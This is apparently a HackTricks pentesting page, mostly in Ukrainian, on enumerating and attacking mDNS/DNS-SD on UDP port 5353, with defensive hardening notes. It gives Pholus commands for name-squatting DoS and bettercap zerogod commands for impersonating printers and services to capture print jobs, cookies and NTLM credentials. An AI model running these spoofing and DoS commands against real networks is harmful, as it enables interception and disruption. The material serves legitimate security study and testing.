5353/UDP Multicast DNS (mDNS) та DNS-SD
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Multicast DNS (mDNS) дозволяє здійснювати DNS-подібне розв’язання імен та виявлення сервісів у межах локального сегмента мережі без унікастного DNS-сервера. Він використовує UDP/5353 та мультикаст-адреси 224.0.0.251 (IPv4) і FF02::FB (IPv6). DNS Service Discovery (DNS-SD, зазвичай використовується з mDNS) надає стандартизований спосіб переліку та опису сервісів через PTR, SRV і TXT записи.
PORT STATE SERVICE
5353/udp open zeroconf
Ключові деталі протоколу, які ви часто використовуватимете під час атак:
- Імена в зоні .local розв’язуються через mDNS.
- Біт QU (Query Unicast) може запитувати відповіді по unicast навіть для multicast-запитів.
- Реалізації повинні ігнорувати пакети, що не походять з локального лінку; деякі стекі все ще їх приймають.
- Probing/announcing забезпечує унікальність імен хостів/сервісів; втручання тут створює умови DoS/«name squatting».
DNS-SD service model
Сервіси ідентифікуються як _
Network Exploration and Enumeration
- nmap target scan (direct mDNS on a host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap broadcast discovery (listen to the segment and enumerate all DNS-SD types/instances):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
- Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Порада: Деякі браузери/WebRTC використовують тимчасові mDNS-імена хостів для приховування локальних IP. Якщо ви бачите кандидати типу random-UUID.local у трафіку, резолвіть їх через mDNS, щоб переключитися на локальні IP.
Attacks
Втручання в probing імен mDNS (DoS / name squatting)
Під час фази probing хост перевіряє унікальність імені. Відповіді зі сфальсифікованими конфліктами змушують його обирати інші імена або зазнати невдачі. Це може затримати або запобігти реєстрації та виявленню сервісу.
Приклад з Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Service spoofing and impersonation (MitM)
Impersonate advertised DNS-SD services (printers, AirPlay, HTTP, file shares) щоб змусити клієнтів підключитися до вас. Це особливо корисно для:
- Перехоплюйте документи шляхом spoofing _ipp._tcp або _printer._tcp.
- Приманюйте клієнтів до сервісів HTTP/HTTPS, щоб збирати tokens/cookies або доставляти payloads.
- Поєднуйте з NTLM relay techniques, коли Windows-клієнти negotiate auth до spoofed services.
За допомогою bettercap’s zerogod module (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Див. також загальні LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Зауваги щодо останніх проблем реалізації (корисно для DoS/persistence під час залучень)
- Помилки Avahi reachable-assertion та аварії D-Bus (2023) можуть завершити роботу avahi-daemon на дистрибутивах Linux (наприклад CVE-2023-38469..38473, CVE-2023-1981), перериваючи service discovery на цільових хостах до перезапуску.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) дозволяє суміжним WLAN клієнтам флуудити crafted mDNS, підвищуючи завантаження CPU на WLC і обриваючи AP тунелі — корисно, якщо потрібно примусити roaming клієнтів або скидання контролера під час engagement.
- Apple mDNSResponder logic error DoS (CVE-2024-44183) дозволяє sandboxed локальному процесу аварійно завершити Bonjour, тимчасово пригнічуючи публікацію/пошук сервісів на Apple endpoint; виправлено в поточних релізах iOS/macOS.
- Apple mDNSResponder correctness issue (CVE-2025-31222) дозволяла local privilege escalation через mDNSResponder; корисно для persistence на unmanaged Macs/iPhones, виправлено в останніх оновленнях iOS/macOS.
Browser/WebRTC mDNS considerations
Сучасні Chromium/Firefox замасковують host candidates випадковими mDNS-іменами. Ви можете знову відкрити LAN IP на керованих кінцевих точках, застосувавши політику Chrome WebRtcLocalIpsAllowedUrls (або переключивши chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/аналог у Edge), щоб ICE показував host candidates замість mDNS; встановлюється через HKLM\Software\Policies\Google\Chrome.
Коли користувачі вимикають захист вручну (часто в інструкціях з налагодження WebRTC), їхні браузери знову починають рекламувати plain host candidates, які можна захопити через mDNS або ICE signaling для пришвидшення виявлення хостів.
Оборонні зауваження та OPSEC
- Segment boundaries: Don’t route 224.0.0.251/FF02::FB між зонами безпеки, якщо явно не потрібен mDNS gateway. Якщо потрібно мостити discovery, віддавайте перевагу allowlists та rate limits.
- Windows endpoints/servers:
- Щоб повністю відключити name resolution через mDNS, встановіть значення реєстру та перезавантажте:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- У керованих середовищах відключіть вбудоване правило Windows Defender Firewall “mDNS (UDP-In)” (принаймні для Domain profile), щоб запобігти вхідній обробці mDNS, зберігаючи функціональність home/roaming.
- На новіших збірках Windows 11/GPO templates використовуйте політику “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” і встановіть її в Disabled.
- Linux (Avahi):
- Обмежте публікацію, коли вона не потрібна: встановіть
disable-publishing=yes, і обмежте інтерфейси за допомогоюallow-interfaces=/deny-interfaces=у/etc/avahi/avahi-daemon.conf. - Розгляньте
check-response-ttl=yesі уникайтеenable-reflector=yes, якщо це не суворо необхідно; віддавайте перевагуreflect-filters=allowlists при відображенні. - macOS: Блокуйте вхідний mDNS на host/network firewall, коли Bonjour discovery не потрібен для конкретних підмереж.
- Monitoring: Налаштуйте оповіщення про незвичні сплески в запитах до
_services._dns-sd._udp.localабо раптові зміни в SRV/TXT критичних сервісів; це індикатори spoofing або service impersonation.
Швидкий довідник по інструментах
- nmap NSE:
dns-service-discoveryandbroadcast-dns-service-discovery. - Pholus: active scan, reverse mDNS sweeps, DoS and spoofing helpers.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).
Spoofing/MitM
Найцікавіша атака, яку можна виконати поверх цього сервісу — виконати MitM у комунікації між клієнтом і реальним сервером. Ви можете отримати чутливі файли (MitM комунікації з принтером) або навіть credentials (Windows authentication).
Для додаткової інформації див.:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
References
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
- Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory
- Rapid7 advisory for Apple mDNSResponder CVE-2024-44183
- Rapid7 writeup of Apple mDNSResponder CVE-2025-31222
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


